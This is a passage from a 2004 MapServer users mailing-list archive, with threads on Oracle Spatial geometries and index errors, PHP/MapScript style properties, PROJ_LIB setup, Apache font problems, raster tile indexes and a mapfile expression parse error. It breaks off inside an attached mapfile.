"Non Faisable" EXPRESSION ([etat] = 1) SIZE 8 SYMBOL "triangle" COLOR 255 128 64 TEMPLATE "../templates/itemquery_template.html" END CLASS NAME "Faisable" EXPRESSION ([etat] = 2) SIZE 8 SYMBOL "star" COLOR 172 47 59 TEMPLATE "../templates/itemquery_template.html" END CLASS NAME "En cours" EXPRESSION ([etat] = 3) SIZE 8 SYMBOL "flag" COLOR 0 255 0 TEMPLATE "../templates/itemquery_template.html" END CLASS NAME "Fait" EXPRESSION ([etat] = 4) SIZE 8 SYMBOL "point1" COLOR 255 255 0 TEMPLATE "../templates/itemquery_template.html" END CLASS NAME "Archiv?e" EXPRESSION ([etat] = 5) SIZE 8 SYMBOL "point1" COLOR 255 0 0 TEMPLATE "../templates/itemquery_template.html" END METADATA LYRNAME "Affaires" TABLE_NAME "gestion" RESULT_FIELDS "affaire lot mission" QUERYABLE_FIELDS "affaire lot mission" WMS_SRS "EPSG:27582" WMS_ORDER "6" END END END # Map File From potocny at espace.cz Mon Mar 22 05:27:02 2004 From: potocny at espace.cz (Jiri Potocny) Date: Mon, 22 Mar 2004 14:27:02 +0100 Subject: [Mapserver-users] Is it possible to display compound polygon with arcs (on Oracle Spatial) Message-ID: <004501c41012$7766d460$bc03a8c0@twoflower> This is a multi-part message in MIME format. ------=_NextPart_000_0035_01C41019.BE397580 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Dear All, I experienced troubles dsiplaying compound polygon containing arcs = stored in Oracle Spatial, such as: SDO_GEOMETRY(2007, NULL, NULL, SDO_ELEM_INFO_ARRAY(1, 1005, 3, 1, 2, = 1, 7, 2, 2, 11, 2, 1), SDO_ORDINATE_ARRAY(-549829,25, -1287249,5, = -549843,56, -1287256,9, -549838,9, -1287265,7, -549833,07, -1287262,7, = -549830,55, -1287262,2, -549828,71, -1287260,4, -549824,59, -1287258,2, = -549829,25, -1287249,5)) The map server returns following error: msDrawMap(): Image handling error. Failed to draw layer named = 'parcels'.=20 msDrawShape(): General error message. Only polygon shapes can be drawn = using a POLYGON layer definition.=20 Did anybody experienced the same trouble or does anybody know how to = treat such geometries, please? Regards, Jirka ------=_NextPart_000_0035_01C41019.BE397580 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
Dear All,
 
I experienced troubles dsiplaying = compound polygon=20 containing arcs stored in Oracle Spatial, such as:
SDO_GEOMETRY(2007, NULL, = NULL,=20 SDO_ELEM_INFO_ARRAY(1, 1005, 3, 1, 2, 1, 7, 2, 2, 11, 2, 1),=20 SDO_ORDINATE_ARRAY(-549829,25, -1287249,5, -549843,56, -1287256,9, = -549838,9,=20 -1287265,7, -549833,07, -1287262,7, -549830,55, -1287262,2, = -549828,71,=20 -1287260,4, -549824,59, -1287258,2, -549829,25,=20 -1287249,5))
The map server returns following=20 error:
msDrawMap(): Image handling = error. Failed=20 to draw layer named 'parcels'.
msDrawShape(): General error = message. Only=20 polygon shapes can be drawn using a POLYGON layer definition.=20
Did anybody experienced the same = trouble=20 or does anybody know how to treat such geometries, = please?
 
Regards,
Jirka
------=_NextPart_000_0035_01C41019.BE397580-- From siki at agt.bme.hu Mon Mar 22 08:05:13 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Mon, 22 Mar 2004 15:05:13 -0100 (GMT+1) Subject: [Mapserver-users] shapefile conversion {Scanned} In-Reply-To: <405ED01D.8050806@darya.nio.org> Message-ID: Hi, On Mon, 22 Mar 2004, Pramila R Gawas wrote: > Is there any method of converting txt file to shp, shx, dbf. > I downloaded gen2shp programme., but when i tried running the proramme > with make command, it's giving me the error > cc -o gen2shp -lshp gen2shp.c utils.o > /usr/bin/ld: cannot find -lshp > collect2: ld returned 1 exit status > make: *** [gen2shp] Error 1 The libshp is missing, you shoud install it. Bye Zoltan > > please help > > > Thanks > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From potocny at espace.cz Mon Mar 22 06:07:45 2004 From: potocny at espace.cz (Jiri Potocny) Date: Mon, 22 Mar 2004 15:07:45 +0100 Subject: [Mapserver-users] Oracle spatial error - off topic to mapserver References: <000001c40dc2$fafcbb20$d90510ac@aisgkk> Message-ID: <004601c41017$102e79b0$bc03a8c0@twoflower> Martin, check your USER_SDO_GEOM_METADATA values. You are supposed to set: MDSYS.SDO_DIM_ELEMENT(coord,xmin, xmax, tol) and you are assigning 0 to xmin and -591445 to xmax, but 0 is definitely grater than -591445. Try this for example: INSERT INTO USER_SDO_GEOM_METADATA VALUES ( 'body', 'GEOM', MDSYS.SDO_DIM_ARRAY( MDSYS.SDO_DIM_ELEMENT('X', -592000, -590000, 0.005), MDSYS.SDO_DIM_ELEMENT('Y', -1380000, -1370000, 0.005), MDSYS.SDO_DIM_ELEMENT('Z', -1000, 1000, 0.005)), NULL ); If that won't solve the problem with creating spatial index, write back again. Regards, Jirka ----- Original Message ----- From: "Tomko" To: Sent: Friday, March 19, 2004 4:00 PM Subject: [Mapserver-users] Oracle spatial error - off topic to mapserver > > HI, > Sorry for bothering this list, but I am really hopeless. You can write > me directly to avoid spamming the list, if you can help me... PLEASE" > > I am (still)in troubles with Oracle Spatial and I do not > know how to get out of them... > > from the beginning I have a strange error occuring - I cannot creat > spatial indices!!! So also the mapserver oraclespatial connection > doesn't work well with the USING SRID... way, I have to do the double > select... And this > show as a crucial limitation when I want to use it with other tools > (ArcSDE) or for > performance reasons... Maybe you could give me a hint?? here is the > error > message (and a sample procedure leading to it): > > > CREATE TABLE body (CBODU NUMBER PRIMARY KEY,NAZOV VARCHAR (32),X > NUMBER,Y > NUMBER,Z NUMBER,TOPO VARCHAR (32),GEOM MDSYS.SDO_GEOMETRY); > commit; > > INSERT INTO USER_SDO_GEOM_METADATA > VALUES ( > 'body', > 'GEOM', > MDSYS.SDO_DIM_ARRAY( > MDSYS.SDO_DIM_ELEMENT('X', 0, -591445, 0.005), > MDSYS.SDO_DIM_ELEMENT('Y', 0, -1373146, 0.005), > MDSYS.SDO_DIM_ELEMENT('Z', 0, 1000, 0.005)), > NULL -- SRID > ); > commit; > CREATE INDEX &ind ON &tab(&geom) INDEXTYPE IS MDSYS.SPATIAL_INDEX PARAMETERS ('TABLESPACE=INDX'); > create index body_idx on body (GEOM) > 2* INDEXTYPE IS mdsys.spatial_index > > CREATE INDEX body_idx > * > ERROR at line 1: > ORA-29855: error occurred in the execution of ODCIINDEXCREATE routine > ORA-13249: Error executing stmt: begin > mdsys.prvt_idx.execute_insert(NULL, > NULL, ' VALUES (''SYS'',''MDIDX_INIT'', 0, 0, 64, -1, > NLS_UPPER(''MDRT_77D1 > $''), ''BODY_IDX'', 1, ''SYS'', ''"GEOM"'', 0, 0, 3, > 0, ''DEFAULT'', ''DEFAULT'', NULL,NULL, NULL, NULL, NULL, NULL, NULL, > 2, ''DEFAULT'', 10, NULL, NULL, NULL, NULL, ''FALSE'', ''VALID'', > NULL)', > NULL); end; > ORA-13249: Error in Spatial index: insert to metadata failed > ORA-29400: data cartridge error > ORA-00913: too many values > ORA-06512: at "MDSYS.PRVT_IDX", line 5 > ORA-06512: at line 1 > ORA-06512: at "MDSYS.SDO_INDEX_METHOD_9I", line 7 > ORA-06512: at line 1 > > I have also tried to reinstall Oracle for it, but I am having the same > error. The installation did not report any error. I am encountering a > similar error when trying to create spatial tables with ESRI ArcSDE, or > even working with a XML database. I suspect that it is a problem with > the ODCIIndex cartridge or something like that, according to the forums. > I am running a windows version of Oracle 9.2.0.1, a developper version > downloaded from the otn. I am running a Windows 2003 server and I have > updated the universal installer and applied the patch. I did not do any > changes to the MDSYS user, just unlocked it. I was connected as sys. > > I have found something about a "catpatch procedure" > But did not run this... > > Thanks a lot! > > Martin > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From wdw at rti.org Mon Mar 22 07:36:57 2004 From: wdw at rti.org (Wheaton, William D.) Date: Mon, 22 Mar 2004 10:36:57 -0500 Subject: [Mapserver-users] Php/mapscript: overlaysymbol Message-ID: Hello, all: I'm trying to make use of the overlaysymbol and related properties in php/mapscript. I'm using MS 4.0. According to the documentation, overlaysymbol, etc., should be properties of a class object. When I try using it like so: $class = ms_newClassObj($layer); $class=$layer->getclass($i); $class->setexpression("\"$fiid\""); $class->set("overlaysymbol", "triangle_border"); I get the following error: Fatal error: Property 'overlaysymbol' does not exist in this object. in /var/www/htdocs/els/els_dev.phtml on line 42 I'm setting the other symbol properties in style objects... All of the overlayxxxx properties seem to exhibit the same behavior. I've also tried them within a style in case they got moved to style objects, but no go. Many thanks for any assistance. Bill From cz_toh at yahoo.com Mon Mar 22 06:49:36 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Mon, 22 Mar 2004 14:49:36 +0000 (GMT) Subject: [Mapserver-users] Installing support for flash and mapserver Message-ID: <20040322144936.93012.qmail@web14002.mail.yahoo.com> Hi I have a few quesitons about installing the library files needed to run both flash and mapserver in a flash file 1) Do I need PHP/C++ to do the installation? I can't use a pre compiled library? 2) Do I have to change my mapserver to PHP usable if I have to download PHP to do the installation? Thanks ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From dmorissette at dmsolutions.ca Mon Mar 22 08:01:05 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 22 Mar 2004 11:01:05 -0500 Subject: [Mapserver-users] Php/mapscript: overlaysymbol In-Reply-To: References: Message-ID: <405F0DC1.20702@dmsolutions.ca> Wheaton, William D. wrote: > > I'm setting the other symbol properties in style objects... > > All of the overlayxxxx properties seem to exhibit the same behavior. I've > also tried them within a style in case they got moved to style objects, but > no go. > The overlayxxxx properties are gone in 4.0. You set them using the corresponding property in the 2nd style object. i.e. overlaycolor is the color property of the 2nd style. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From warmerdam at pobox.com Mon Mar 22 08:03:32 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Mon, 22 Mar 2004 11:03:32 -0500 Subject: [Mapserver-users] PROJ question In-Reply-To: <001a01c40fbc$37660e40$0101a8c0@jon> References: <001a01c40fbc$37660e40$0101a8c0@jon> Message-ID: <405F0E54.5010907@pobox.com> Jonathan Meyers wrote: > I have mapserver running on a shared host (I have no access to the > environment variables). > > I need to be able to use proj.dll in a directory other than c:\proj... > > ...so I need to change the PROJ_LIB variable > > My question: do I need to recompile the proj source code, the mapserver > source code or both?? Jonathan, The DLL isn't a big issue because you can just copy it to whereever your mapserv.exe is and it will be found. But there can be an issue of how PROJ.4 support information files (such as the epsg list, and datum shift files) are found. Normally they are found in C:\PROJ\NAD or their location is indicated with the PROJ_LIB environment variable. If you need to change the default location (because you can't set PROJ_LIB) then you would need to recompile the PROJ.DLL. Set the PROJ_LIB_DIR macro in the src/makefile.vc file in the PROJ.4 distribution before rebuilding. In the future you will be able to just add a line like 'CONFIG PROJ_LIB "D:\PROJ"' in the .map file as recent changes I made in CVS roll out into use. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From diego at geomatica.como.polimi.it Mon Mar 22 08:24:57 2004 From: diego at geomatica.como.polimi.it (Diego Magni) Date: Mon, 22 Mar 2004 17:24:57 +0100 Subject: [Mapserver-users] Problem with MapServer 4.0.1 and Apache 2.0.48 Message-ID: <002801c4102a$373ef440$778faf83@ing.unico.it> Hi List, I've installed MapServer 4.0.1 (Windows Binary, ms401_gif_pg.zip) with Apache 2.0.48, but I've some problems with Legend, Scalebar and Reference Map Objects and with TrueType fonts. When I run a MapServer application, the map is correctly displayed into the template file, but legend, reference map and scalebar images aren't created. Furthermore, the service runs only if I use bitmap fonts, while if I use TrueType, there's the following error message: "msGetLabelSize(): TrueType Font error. Could not find/open font". Since the map is created and displayed, some template references like [id], [host], [port], [scale] or [cellsize] work correctly and legend.exe, scalebar.exe, etc. work properly with MS-Dos, I think that my problems can be from an Apache misconfiguration. Can anyone help me? Thank you in advance, best regards, Diego From steve.lime at dnr.state.mn.us Mon Mar 22 08:38:12 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 22 Mar 2004 10:38:12 -0600 Subject: [Mapserver-users] msyyparse() - parse error Message-ID: Hi there: Msyyparse() is the function that evaluates MapServer expressions. There are 3 possibilities: 1) There is an error in the expression you're using. 2) There is something funky in your data, that breaks an expression. 3) There is an error in the code itself. Although 1) and 3) are possible they seem unlikely. My guess is that there is an issue with certain data values and the expressions. One example would be data values containing embeded quotes. Let's say you had a place name called O'Reilly and where using an expression like: ('[placename]' = 'foo') which would become in the case of O'Reilly, ('O'Reilly' = 'foo') and this would cause a parse error. Could also happen with numeric fields that didn't contain numbers or are empty. We'd really need to see your mapfile to make the call. Steve >>> M?ri C?dric 3/22/2004 4:27:42 AM >>> Hello list! we recently upgraded our systems from MapServer3.6.6/postgreSQL7.2.4/postgis0.8.0 to MapServer4.0.1/postgreSQL7.4.2/postgis0.8.1. The system is running under Linux RH7.2. Now i'm reciving sometimes this strange error "msyyparse(): Expression parser error. parse error". (In the old version, everyting worked perfect!) I'm not able to reproduce this error regularly. Sometimes it triggers when i'm switching some layers on/off, sometimes it triggers when i'm just paning (same layer-set/same scale). Sometimes it triggers only one time, othertimes up to 60 times with still the same mapfile. I read from the archives that there might be some issue about the querrying in postgis but there is not much more. So I guess I'm stuck. Has anybody a hint for me in which direction to go on with my quest? May anybody explain what the msyyparse does, and when it is called? Any hint would be appreciated! If needed I would be glad to provide further information. best regards mit freundlichen Gr?ssen C?dric M?ri ******************************************** Kanton Solothurn Amt f?r Geoinformation Abt. SO!GIS Koordinationsstelle R?tihof 4509 Solothurn T: ++41 (0)32 627 2475 Fax: ++41 (0)32 627 2214 http://www.sogis.so.ch ******************************************** From Zamil.Murji at divestco.com Mon Mar 22 08:41:52 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Mon, 22 Mar 2004 09:41:52 -0700 Subject: [Mapserver-users] Problem with MapServer 4.0.1 and Apache 2.0.48 Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303ABE96@DIV-MX02.divestco> Hi, I had some problems a while back with Mapserver 4.0 and Apache 2.0.X. I downgraded my Apache to 1.X (sorry I don't know what the current stable release is) and everything magically started working. Maybe you should try that. Thanks Zamil -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Diego Magni Sent: Monday, March 22, 2004 9:25 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Problem with MapServer 4.0.1 and Apache 2.0.48 Hi List, I've installed MapServer 4.0.1 (Windows Binary, ms401_gif_pg.zip) with Apache 2.0.48, but I've some problems with Legend, Scalebar and Reference Map Objects and with TrueType fonts. When I run a MapServer application, the map is correctly displayed into the template file, but legend, reference map and scalebar images aren't created. Furthermore, the service runs only if I use bitmap fonts, while if I use TrueType, there's the following error message: "msGetLabelSize(): TrueType Font error. Could not find/open font". Since the map is created and displayed, some template references like [id], [host], [port], [scale] or [cellsize] work correctly and legend.exe, scalebar.exe, etc. work properly with MS-Dos, I think that my problems can be from an Apache misconfiguration. Can anyone help me? Thank you in advance, best regards, Diego _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bob.basques at ci.stpaul.mn.us Mon Mar 22 08:59:08 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Mon, 22 Mar 2004 10:59:08 -0600 Subject: [Mapserver-users] Been trying all afternoon . . .DUH!! Message-ID: <405F1B5C.1060205@ci.stpaul.mn.us> All, I figured it out, I didn't check to see if the World File were present. DUH!!! Seems this Directory was the only one I hadn't generated them for. Thanks for the help in any event. bobb _________________ Ok, I've been trying to get this working all afternoon. Trying to generate a PNG from a TILEINDEX of tiled PNG's (8bit I think with Alpha transparency) As far as I can tell, the Tile indexes are fine, this same general format (except for the OUTPUTFORMAT chunk works just fine for JPEG's) Right now I get an image that is all Light green, it's popping out as a PNG as well, so the mime type is right The images that MapServer should be reading from are like this: http://pwultra5.ci.stpaul.mn.us/cp_tiles/2002_property/L1T/570000_160000_1000_12_2002_SAINT_PAUL.PNG I created these with GD (for the transparent backgrounds), so they should be readable by MapServer. I did try the GDAL/PNG with no success, I'm wondering if I still don't have the MINSCALE/MAXSCALE thing correct, to test this I commented them all out and left only one LAYER uncommented to see if anything would be output, still nothing, it must be a format thing, right? Here is the MapFile at this point: # # Start of map file # MAP NAME PROPERTY STATUS ON SIZE 600 600 EXTENT 540000 135000 600000 175000 UNITS FEET SHAPEPATH "./data" ##IMAGECOLOR 255 255 255 FORMAT png24 OUTPUTFORMAT NAME png24 DRIVER "GD/PNG" IMAGEMODE RGBA MIMETYPE "image/png;depth=24" END ##IMAGETYPE PNG LAYER NAME "L3" STATUS DEFAULT TILEINDEX "RAST_STPL_PW_PRO_GIS_2002_06_L3T" TILEITEM "Location" TYPE RASTER GROUP "PROPERTY" MINSCALE 4001 ## MAXSCALE 8000 END LAYER NAME "L2" STATUS DEFAULT TILEINDEX "RAST_STPL_PW_PRO_GIS_2002_06_L2T" TILEITEM "Location" TYPE RASTER GROUP "PROPERTY" MINSCALE 2001 MAXSCALE 4000 END LAYER NAME "L1" STATUS DEFAULT TILEINDEX "RAST_STPL_PW_PRO_GIS_2002_06_L1T" TILEITEM "Location" TYPE RASTER GROUP "PROPERTY" MINSCALE 1001 MAXSCALE 2000 END LAYER NAME "L0" STATUS DEFAULT TILEINDEX "RAST_STPL_PW_PRO_GIS_2002_06_L0T" TILEITEM "Location" TYPE RASTER GROUP "PROPERTY" ##MINSCALE 501 MAXSCALE 1000 END END # Map File _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bskarger at students.wisc.edu Mon Mar 22 08:56:33 2004 From: bskarger at students.wisc.edu (BONNER S KARGER) Date: Mon, 22 Mar 2004 10:56:33 -0600 Subject: [Mapserver-users] Javascript Pan (Steve's) not working Message-ID: Hello, I'm using the following javascript pan function: http://maps.dnr.state.mn.us/mapserver_demos/workshop/ But when I click on one of the arrows, I get a javascript error saying this: "Error: 'document.mapserv.mode' is null or not an object" If I comment that line out in the code, the same error occurs for the next line of code: "Error: 'document.mapserv.zoomdir' is null or not an object" It doesn't pan, I just get that error symbol on the status bar of the browser. What is going on here? Do I need to change some settings? Thank you, >>Bonner From Cedric.Moeri at bd.so.ch Mon Mar 22 09:04:20 2004 From: Cedric.Moeri at bd.so.ch (=?ISO-8859-1?Q?M=F6ri_C=E9dric?=) Date: Mon, 22 Mar 2004 18:04:20 +0100 Subject: [Mapserver-users] msyyparse() - parse error Message-ID: <5B025B1F39D6D4119F5700508BEEEC6601423316@srsofaioi4546.ktso.ch> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C4102F.B7EC23B0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Hi Steve! thanks for the hints. So i'm going to check my stuff once again, but = this time i've got an idea what i'm looking for ;-) I attached my mapfile, if you like to have a look at it (it's quite a = bunch of lines). Were there any recent changes in the msyyparse()-function between = ms3.6.6 and ms4.0.1? This mapfile worked quite fine in the "old" system (I didn't see this = error before working with 4.0.1). What i'm not understandig too, is that the errors triggers sometimes = one time and then up to 60 times. Thanks for your help regards Cedric > -----Original Message----- > From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] > Sent: Monday, March 22, 2004 5:38 PM > To: Cedric.Moeri at bd.so.ch; mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] msyyparse() - parse error >=20 >=20 > Hi there: Msyyparse() is the function that evaluates=20 > MapServer expressions. There > are 3 possibilities:=20 >=20 > 1) There is an error in the expression you're using. > 2) There is something funky in your data, that breaks an expression. > 3) There is an error in the code itself. >=20 > Although 1) and 3) are possible they seem unlikely. My guess=20 > is that there is an > issue with certain data values and the expressions. One=20 > example would be > data values containing embeded quotes. Let's say you had a place name > called O'Reilly and where using an expression like: >=20 > ('[placename]' =3D 'foo') which would become in the case of O'Reilly, >=20 > ('O'Reilly' =3D 'foo') and this would cause a parse error.=20 >=20 > Could also happen with numeric fields that didn't contain=20 > numbers or are empty. > We'd really need to see your mapfile to make the call. >=20 > Steve >=20 > >>> M=F6ri C=E9dric 3/22/2004 4:27:42 AM >>> > Hello list! >=20 > we recently upgraded our systems from > MapServer3.6.6/postgreSQL7.2.4/postgis0.8.0 to > MapServer4.0.1/postgreSQL7.4.2/postgis0.8.1. The system is=20 > running under > Linux RH7.2. >=20 > Now i'm reciving sometimes this strange error "msyyparse(): = Expression > parser error. parse error". > (In the old version, everyting worked perfect!) >=20 > I'm not able to reproduce this error regularly. Sometimes it=20 > triggers when > i'm switching some layers on/off, sometimes it triggers when=20 > i'm just paning > (same layer-set/same scale). Sometimes it triggers only one=20 > time, othertimes > up to 60 times with still the same mapfile.=20 >=20 > I read from the archives that there might be some issue about=20 > the querrying > in postgis but there is not much more. >=20 > So I guess I'm stuck. Has anybody a hint for me in which=20 > direction to go on > with my quest? May anybody explain what the msyyparse does,=20 > and when it is > called? >=20 > Any hint would be appreciated! > If needed I would be glad to provide further information. >=20 > best regards > mit freundlichen Gr=FCssen >=20 > C=E9dric M=F6ri >=20 > ******************************************** > Kanton Solothurn > Amt f=FCr Geoinformation > Abt. SO!GIS Koordinationsstelle=20 > R=F6tihof > 4509 Solothurn > T: ++41 (0)32 627 2475 > Fax: ++41 (0)32 627 2214=20 > http://www.sogis.so.ch=20 > ******************************************** >=20 >=20 ------_=_NextPart_000_01C4102F.B7EC23B0 Content-Type: application/octet-stream; name="strada.map" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="strada.map" NAME STRADA STATUS ON #SIZE 666 594 # if the size entry is deleted, it can be set via the = URL SYMBOLSET = "/opt/wwwroot/sogis/develop/cmoe/MapServer/etc/symbols/symbols.neu" EXTENT 590000 190000 650000 265000 UNITS METERS SIZE 200 200 SHAPEPATH "/opt/wwwroot/sogis/daten/" IMAGECOLOR 255 255 255 FONTSET = "/opt/wwwroot/sogis/develop/cmoe/MapServer/etc/fonts/fonts.list" RESOLUTION 82 IMAGETYPE GIF INTERLACE OFF DATAPATTERN ".*" TEMPLATEPATTERN ".*" # # Start of web interface definition # WEB HEADER "/opt/wwwroot/sogis/develop/cmoe/MapServer/fr_map/header.html" TEMPLATE = "/opt/wwwroot/sogis/develop/cmoe/MapServer/fr_map/template.html" FOOTER "/opt/wwwroot/sogis/develop/cmoe/MapServer/fr_map/footer.html" MINSCALE 100 MAXSCALE 1550000 IMAGEPATH "/opt/wwwroot/sogis/gifs/" IMAGEURL "/sogis/gifs/" LOG "/opt/wwwroot/sogis/MapServer/etc/log/MapServer.log" # EMPTY "/opt/wwwroot/sogis/develop/cmoe/MapServer/fr_map/empty.html" # ERROR = "http://srsofaioi4531/sogis/develop/cmoe/MapServer/fr_map/error.html" END QUERYMAP SIZE 800 800 STATUS ON STYLE selected COLOR 255 0 0 END # # Start of legend # LEGEND KEYSIZE 30 20 LABEL TYPE TRUETYPE ANTIALIAS TRUE FONT arial COLOR 0 0 0 =20 SIZE 11 END TEMPLATE = '/opt/wwwroot/sogis/develop/cmoe/MapServer/fr_map/legend_view_template.h= tml'=09 STATUS ON END # # Start of scalebar # SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 0 0 0 SIZE SMALL END #LABEL SIZE 200 5 COLOR 0 0 0 BACKGROUNDCOLOR 255 255 255 OUTLINECOLOR 0 0 0 UNITS meters INTERVALS 3 STATUS ON END #SCALEBAR #PROJECTION # "init=3DEPSG:9814" #END LAYER NAME polysearch STATUS ON CONNECTIONTYPE POSTGIS CONNECTION 'dbname=3Dfoo host=3Dbar user=3Dfoobar' DATA "dummy" TYPE POLYGON TEMPLATE ""=09 DEBUG ON CLASS=09 NAME "objekt" OUTLINECOLOR 255 0 0 SIZE 7 SYMBOL 7 LABEL TYPE TRUETYPE FONT arial POSITION CC SIZE 16 COLOR 147 231 0 =20 OUTLINECOLOR 0 0 0=20 FORCE true OFFSET 0 0 END END END ## ADRESSE #################################### LAYER NAME adressepoint ## STATUS OFF DATA "" TYPE POINT LABELITEM "LABEL" LABELCACHE ON POSTLABELCACHE TRUE CLASSITEM "PROG_ID" CLASS NAME "green" EXPRESSION "1" SYMBOL "Feature_green" COLOR 0 0 0 SIZE 40 LABEL COLOR 0 0 0 =20 POSITION ur SIZE 14 OFFSET 17 17 TYPE truetype FONT arial ANTIALIAS TRUE OUTLINECOLOR 0 255 0 BACKGROUNDCOLOR 255 255 204 END =20 END CLASS NAME "red" EXPRESSION "0" SYMBOL "Feature_red" COLOR 0 0 0 SIZE 40 LABEL COLOR 0 0 0 =20 POSITION ur SIZE 14 OFFSET 17 17 TYPE truetype FONT arial ANTIALIAS TRUE OUTLINECOLOR 255 0 0 BACKGROUNDCOLOR 255 255 204 END =20 END CLASS NAME "red_pnt" EXPRESSION "2" SYMBOL 7 COLOR 255 0 0 SIZE 15 END =09 CLASS NAME "green_pnt" EXPRESSION "3" SYMBOL 7 COLOR 0 255 0 SIZE 15 END =09 END ## ORTHOFOTO ####################### LAYER MINSCALE 500 MAXSCALE 25000 NAME Orthofoto #Orthofoto 2002 STATUS ON TILEINDEX sogis/pixelkarten/ortho02_idx TILEITEM LOCATION TYPE RASTER END ## HINTERGRUNDKARTE SITUATION ################### LAYER NAME pk #Hintergrundkarte# # STATUS ON TYPE RASTER MAXSCALE 10000 TILEINDEX sogis/pixelkarten/uep_idx TILEITEM LOCATION OFFSITE 255 255 255 END LAYER NAME pk #Hintergrundkarte# # STATUS ON MINSCALE 10000 MAXSCALE 35000 TILEINDEX sogis/pixelkarten/pk25cm_idx.shp TILEITEM LOCATION TYPE RASTER CLASS NAME "Situation" EXPRESSION "6" COLOR 0 0 0 END OFFSITE 255 255 255 END=20 LAYER NAME pk #Hintergrundkarte# # STATUS ON MINSCALE 35000 MAXSCALE 40000 TILEINDEX sogis/pixelkarten/pk50cm_idx.shp TILEITEM LOCATION TYPE RASTER CLASS NAME "Situation" EXPRESSION "7" COLOR 0 0 0 END=09 OFFSITE 255 255 255 END=20 LAYER NAME pk #Hintergrundkarte# # STATUS ON MINSCALE 40000 MAXSCALE 150000 TILEINDEX sogis/pixelkarten/pk100cm_idx.shp TILEITEM LOCATION TYPE RASTER CLASS NAME "Situation" EXPRESSION "7" COLOR 0 0 0 END=09 OFFSITE 255 255 255 END ## GEMEINDEGRENZEN ##############################=20 LAYER NAME gemeinde #Gemeindegrenzen#Legende# MAXSCALE 600000 MINSCALE 1 STATUS ON CONNECTIONTYPE POSTGIS=20 CONNECTION 'dbname=3Dfoo host=3Dbar user=3Dfoobar' DATA "wkb_geometry from geo_gemeinden" TYPE POLYGON SYMBOLSCALE 150000 CLASS TEMPLATE "/opt/wwwroot/sogis/MapServer/etc/php_inc/dummy.html" NAME 'Gemeindegrenze' OUTLINECOLOR 255 0 0 SYMBOL 7 SIZE 2 =09 MINSIZE 1 MAXSIZE 2 END END=20 LAYER NAME baukreis #Baukreise# # DESCRIPTION "Baukreise" MAXSCALE 6000000 MINSCALE 25000 STATUS ON DATA avt/baukreise TYPE POLYGON LABELMAXSCALE 6000000 CLASS =20 OUTLINECOLOR 153 102 0 LABEL TYPE TRUETYPE ANTIALIAS TRUE FONT arial=20 # COLOR 153 102 0 COLOR 255 255 255 =20 OUTLINECOLOR 0 0 0 =20 SIZE 15 END TEXT (Baukreis [KREIS_STR]) END END =20 ###### ORTSPLAN #############=20 ## BODENBEDECKUNG ########### LAYER NAME bdbed #Ortsplan#Legende STATUS ON MINSCALE 1 MAXSCALE 15000 CONNECTIONTYPE POSTGIS CONNECTION "dbname=3Dfoo host=3Dbar user=3Dfoobar" DATA "wkb_geometry from (select oid,* from kva_av_bdbed where = archive=3D0) as foo using SRID=3D-1" TOLERANCE 0 TYPE POLYGON #FILTER "archive=3D0" CLASSITEM "ART" CLASS EXPRESSION "bla" NAME "
=
=A0
=A0Bodenbedeckung
